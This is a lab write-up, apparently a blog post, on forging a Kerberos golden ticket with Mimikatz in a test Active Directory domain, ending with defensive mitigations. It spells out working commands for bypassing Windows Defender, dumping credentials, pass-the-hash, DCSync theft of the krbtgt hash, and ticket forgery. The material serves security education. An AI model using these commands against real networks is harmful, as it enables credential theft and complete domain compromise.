TL;DR this is my notes from generating a Kerberos golden ticket in the lab. This info is all out there on Google, this is just the steps I used to put it together in practice.
I have seen some cybersecurity courses talk about a Kerberos golden ticket in theory, but I have not seen them demonstrate it. This is simply a writeup based on some Googling and putting bits and pieces together in the lab to generate a golden ticket. The concept behind the golden ticket is in many courses, so I won’t re-invent the wheel there. Suffice to say it allows forging Kerberos Ticket Granting Tickets (TGTs), thereby granting access to pretty much anything domain wide.
For the purposes of this lab, I am assuming the attacker has gained domain user access on a system, then gained local admin on that system. Further, a domain administrator has logged onto the compromised system at some point.
I am utilizing the same Windows 10 domain client VM I used for the BloodHound writeup and the Kerberoasting one. This VM is joined to the domain corp.local, which is running off the pre-built DC VM by Paramount Defenses (https://blog.paramountdefenses.com/2020/06/active-directory-security-lab-virtual-machine.html). For simplicity’s sake I made a folder exemption in Windows Defender for C:\Temp. Windows Defender will detect and delete an unmodified copy of Mimikatz.
There is a short list of what information is needed to generate a golden ticket:
- Krbtgt’s NTLM hash
- Domain name
- Domain’s SID
- Username to impersonate
The domain name, domain’s SID, and a username to target are easy to find, particularly with BloodHound. The trick is to find a copy of the krbtgt hash. This is where Mimikatz’s DCSync comes in.
The level of access needed to perform this example lab is Domain User access and local admin on a domain workstation that was logged into by a Domain Admin. As aforementioned we are assuming this has been compromised. Given this the steps below can be followed to generate the infamous golden ticket.
Run PowerShell as .\Administrator
CD C:\Temp\mimikatz_trunk\x64
Start-Process .\mimikatz.exe -Verb RunAs
Please note that simply running mimikatz as the local admin account will not provide debug privileges. Mimikatz will not function without those privileges. ‘-Verb RunAs’ is the equivalent of ‘Run as administrator’ in the GUI.
Next dump credentials on the system with the following commands in Mimikatz:
privilege::debug
sekurlsa::msv
Copy/paste the NTLM hash and run:
sekurlsa::pth /user:Administrator /ntlm:03df526c49c8684ebed22fdb3ec5c533 /domain:corp.local
This automatically spawns a cmd.exe window as CORP\ Administrator, who is of course a Domain Admin. This gives privileges to run DCSync, which is then used to target the krbtgt account. In the elevated shell, run:
cd C:\Temp\mimikatz_trunk\x64
.\mimikatz.exe
Privilege::debug
lsadump::dcsync /user:corp\krbtgt
Copy/paste the krbtgt’s NTLM hash in order to complete the command in mimikatz. The SID belongs to the domain, which is simply the krbtgt’s SID without the trailing ‘-502’. We are targeting the Administrator in this example. ‘id:500’ is the user’s RID, which is easily found with BloodHound, among other methods.
kerberos::golden /domain:corp.local /sid:S-1–5–21–1917967189–4054103991–136247481 /krbtgt:cb542d2484aae7b5156c9a1a7bbb31e7 /user:Administrator /id:500 /ptt
Alternatively one can save the golden ticket for future use:
kerberos::golden /domain:corp.local /sid:S-1–5–21–1917967189–4054103991–136247481 /krbtgt:cb542d2484aae7b5156c9a1a7bbb31e7 /user:Administrator /id:500 /ticket:forged.kirbi
Once the ticket has been saved one can load and use it via
kerberos::ptt forged.kirbi
misc::cmd
This will spawn a cmd.exe window as the target user, in this case CORP\Administrator
One can also list the current tickets in Mimikatz:
kerberos::list
As we can see, Mimikatz has a ticket for CORP\Administrator that is valid for the next 10 years. On a sidenote, as pointed out by Mimikatz’s creator Benjamin Delpy, if the username and RID don’t actually exist the ticket will still work for 20 minutes. After 20 minutes the Key Distribution Center (KDC) will validate the account.
Admittedly the golden ticket was generated and saved just to do it. We already had a shell running as a Domain Admin before we ran DCSync to grab the krbtgt hash. We had to, DCSync won’t work without ‘Replicating Directory Changes All’ and ‘Replicating Directory Changes’ privileges. This normally means a Domain Admin account in practice. BloodHound can find these domain accounts.
Additionally, given Domain Admin access an attacker could login to a DC and grab a copy of NTDS.dit for offline cracking, or run Mimikatz on the DC itself, or create a GPO that will push ransomware to all domain workstations, or any number of other devastating actions. Once an attacker can login to a DC as a Domain Admin it’s already game over as Sanjay Tandon so eloquently points out here.
To recap, we got Domain Admin access by gaining local admin access on a domain workstation that the domain administrator had logged on to. We then simply passed the hash using Mimikatz. We didn’t actually find out what the domain administrator’s password is, but we didn’t have to.
Mitigations
Mitigation methods include restricting NTLM via GPO, located in Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options. Administrators can also use the Protected Users group to limit caching of hashes on domain workstations.
However, some of the best preventative measures are to protect endpoints so that the attacker has a much more difficult time gaining domain user and local admin access in the first place. Mimikatz can’t dump hashes without debug rights, which in practice generally means local admin or SYSTEM account access.
Restrict what workstations Domain Admins can login to. They should be doing domain related work from only a few workstations anyway, perhaps even connecting to a ‘jump server’ using 2FA before they perform any tasks using their Domain Admin account. This can be centrally managed via GPO under Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\User Rights Assignments. Set the policy for ‘Deny access to this computer from the network’ as well as ‘Deny log on as a batch job/as a service/locally/through RDP’.
In the event that admins need to install software or a driver for one particular user, this can be performed as the local admin for that system as long as pre-approved installation packages are located on a share drive that is readable by Domain Users. Have the user copy the package to C:\Approved and then run it as the local admin. Pair this policy with LAPS, set the LAPS password to change daily, and ensure that admins are pulling the local password via PowerShell queries and not via RSAT.
Note; this howto is about generating a Golden Ticket. Covering mitigations against Mimikatz style attacks is an entire howto.
The idea of using each workstation’s local admin account for remote administration is an entire howto in and of itself as well.
Local admin access on one compromised system does not get an attacker too far if
- A Domain Admin never logins to the system
- LAPS is in usage, so the attacker can’t just pivot to other workstations with the same credentials
- The Domain User of that one system only has least privilege and doesn’t save PII, passwords, etc on their destkop
In summary, if an attacker can get local admin on a system that a Domain Admin has logged into then it can quickly be game over. This is true even if they don’t generate a golden ticket. Mitigating against this in a nutshell revolves around endpoint security, auditing AD permissions to ensure least privilege, and simply following best practices.
References:
https://attack.stealthbits.com/privilege-escalation-using-mimikatz-dcsync
https://resources.infosecinstitute.com/topic/mimikatz-walkthrough/
https://adsecurity.org/?p=1729
https://www.beneaththewaves.net/Projects/Mimikatz_20_-_Golden_Ticket_Walkthrough.html
https://en.it-pirate.eu/azure-atp-golden-ticket-attack-how-golden-ticket-attacks-work/
https://adsecurity.org/?page_id=1821
https://www.cyber-security-blog.com/2018/07/mimikatz-dcsync-mitigation.html
